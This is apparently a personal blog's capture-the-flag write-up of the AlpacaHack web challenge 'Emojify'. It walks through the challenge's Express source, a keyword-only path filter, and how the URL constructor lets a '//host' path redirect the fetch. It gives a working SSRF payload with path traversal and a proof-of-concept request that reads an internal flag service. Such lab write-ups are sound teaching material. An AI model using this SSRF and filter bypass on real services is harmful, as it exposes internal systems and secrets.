← writeups

Web · Medium · Alpacahack · Nov 04, 2026

Emojify

WAF filtered not really functional and SSRF vulnerability

  • WAF
  • SSRF

Emojify

WAF filtered not really functional and SSRF vulnerability

Recon

We got these source code:

python
❯ tree                                                                                                                                                                        󰥔 09:12:14
.
├── backend
│   ├── index.js
│   ├── package.json
│   └── package-lock.json
├── compose.yaml
├── Dockerfile
├── frontend
│   ├── index.html
│   ├── index.js
│   ├── package.json
│   └── package-lock.json
└── secret
    ├── index.js
    ├── package.json
    └── package-lock.json

Let’s see the compose.yaml so we can analyze how the service work.

python
❯ cat compose.yaml                                                                                                                                                            󰥔 09:12:59
services:
  frontend:
    build:
      dockerfile: ../Dockerfile
      context: ./frontend
    restart: unless-stopped
    init: true
    ports:
      - ${PORT:-3000}:3000
  backend:
    build:
      dockerfile: ../Dockerfile
      context: ./backend
    restart: unless-stopped
    init: true
  secret:
    build:
      dockerfile: ../Dockerfile
      context: ./secret
    restart: unless-stopped
    init: true
    environment:
      - FLAG=Alpaca{REDACTED}

The flag its from the environment and it’s use Embedded DNS Server so the name like backend:3000 or frontend:3000.

Let’s check the important code.

python
~/ctf/alpacahack/web/emojify
❯ cat frontend/index.js                                                                                                                                                       󰥔 09:21:39
import express from "express";
import fs from "node:fs";

const waf = (path) => {
  if (typeof path !== "string") throw new Error("Invalid types");
  if (!path.startsWith("/")) throw new Error("Invalid 1");
  if (!path.includes("emoji")) throw new Error("Invalid 2");
  return path;
};

express()
  .get("/", (req, res) => res.type("html").send(fs.readFileSync("index.html")))
  .get("/api", async (req, res) => {
    try {
      const path = waf(req.query.path);
      const url = new URL(path, "http://backend:3000");
      const emoji = await fetch(url).then((r) => r.text());
      res.send(emoji);
    } catch (err) {
      res.send(err.message);
    }
  })
  .listen(3000);

~/ctf/alpacahack/web/emojify
❯ cat secret/index.js                                                                                                                                                         󰥔 09:23:48
import express from "express";

const FLAG = process.env.FLAG ?? "Alpaca{REDACTED}";

express()
  // http://secret:1337/flag
  .get("/flag", (req, res) => res.send(FLAG))
  .listen(1337);

~/ctf/alpacahack/web/emojify
❯ cat backend/index.js                                                                                                                                                        󰥔 09:23:54
import express from "express";
import * as emoji from "node-emoji";

express()
  .get("/emoji/:text", (req, res) =>
    res.send(emoji.get(req.params.text) ?? "❓")
  )
  .listen(3000);

Vulnerability

As we can see at the source code, the backend/index.js doesn’t have a vulnerability, but the frontend/index.js have the vulnerability.

First vulnerability at WAF filter:

python
const waf = (path) => {
  if (typeof path !== "string") throw new Error("Invalid types");
  if (!path.startsWith("/")) throw new Error("Invalid 1");
  if (!path.includes("emoji")) throw new Error("Invalid 2");
  return path;
}; 

So the path it must:

  1. be a string

  2. starts with /

  3. and included string named “emoji"

Second vulnerability its from the function he use:

python
const url = new URL(path, "http://backend:3000");

We can see in the document: https://developer.mozilla.org/en-US/docs/Web/API/URL/URL

image.png

So if we input the path there’s //<target> and meet up the WAF filter so we can receive the flag.

At secret/index.js is our next information.

python
express()
  // http://secret:1337/flag
  .get("/flag", (req, res) => res.send(FLAG))
  .listen(1337);

the secret is listening to port 1337 and the endpoint is /flag. So that is our target. So let’s write the payload:

python
//secret:1337/emoji/../flag

I got this payload as a conclusion, because is started with / and there’s a emoji as a string (even though i use it as a path traversal), and its as a string.

I implement it to the remote server and it works.

image.png

PoC request

text
GET /api?path=//secret:1337/emoji/../flag HTTP/1.1
Host: 34.170.146.252:8178
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: */*
Referer: http://34.170.146.252:8178/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

flag

export & files

all writeups →

0x06 / contact

Say hi.

CTF team invites, collabs, or a challenge you think I can't pwn. I read everything.

Elang Dimas Syadewa

available · Malang

    Open email

    Your email app will open with a draft. Review it and press Send there.